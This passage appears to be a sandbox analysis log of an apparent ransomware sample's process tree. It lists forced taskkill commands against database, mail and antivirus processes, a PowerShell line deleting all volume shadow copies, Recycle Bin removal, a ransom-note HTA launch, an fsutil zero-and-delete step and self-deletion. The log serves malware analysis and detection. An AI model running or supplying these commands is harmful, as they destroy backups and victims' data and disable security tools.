PID:1084
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM dbeng50.exe /F2⤵
- Kills process with taskkill
PID:616
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM PccNTMon.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1940
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM agntsvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1852
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM thebat64.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1624
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM CNTAoSMgr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1880
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM msaccess.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1288
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM thebat.exe /F2⤵
- Kills process with taskkill
PID:1008
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM ocomm.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1644
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM outlook.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:536
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM steam.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1168
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlwriter.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:640
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM infopath.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1448
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" IM thunderbird.exe /F2⤵
- Kills process with taskkill
PID:1272
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM tbirdconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1484
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM tmlisten.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1216
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM dbsnmp.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1776
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM wordpad.exe /F2⤵
- Kills process with taskkill
PID:1076
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mbamtray.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1488
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM msftesql.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1132
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mysqld-opt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1592
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM xfssvccon.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1792
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM zoolz.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1204
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM powerpnt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:904
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM ocautoupds.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:956
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:616
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM ocssd.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1148
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM visio.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1008
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM oracle.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1676
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:936
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlagent.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1716
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM winword.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1864
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlbrowser.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:628
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mysqld-nt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1796
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlservr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1660
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1076
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin2⤵PID:1736
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta2⤵
- Modifies Internet Explorer settings
PID:1928
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”2⤵PID:1932
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.7 -n 33⤵
- Runs ping.exe
PID:1664
-
-
C:\Windows\SysWOW64\fsutil.exefsutil file setZeroData offset=0 length=524288 “%s”3⤵PID:616
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe2⤵
- Deletes itself
PID:956 -
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 33⤵PID:1296
-
-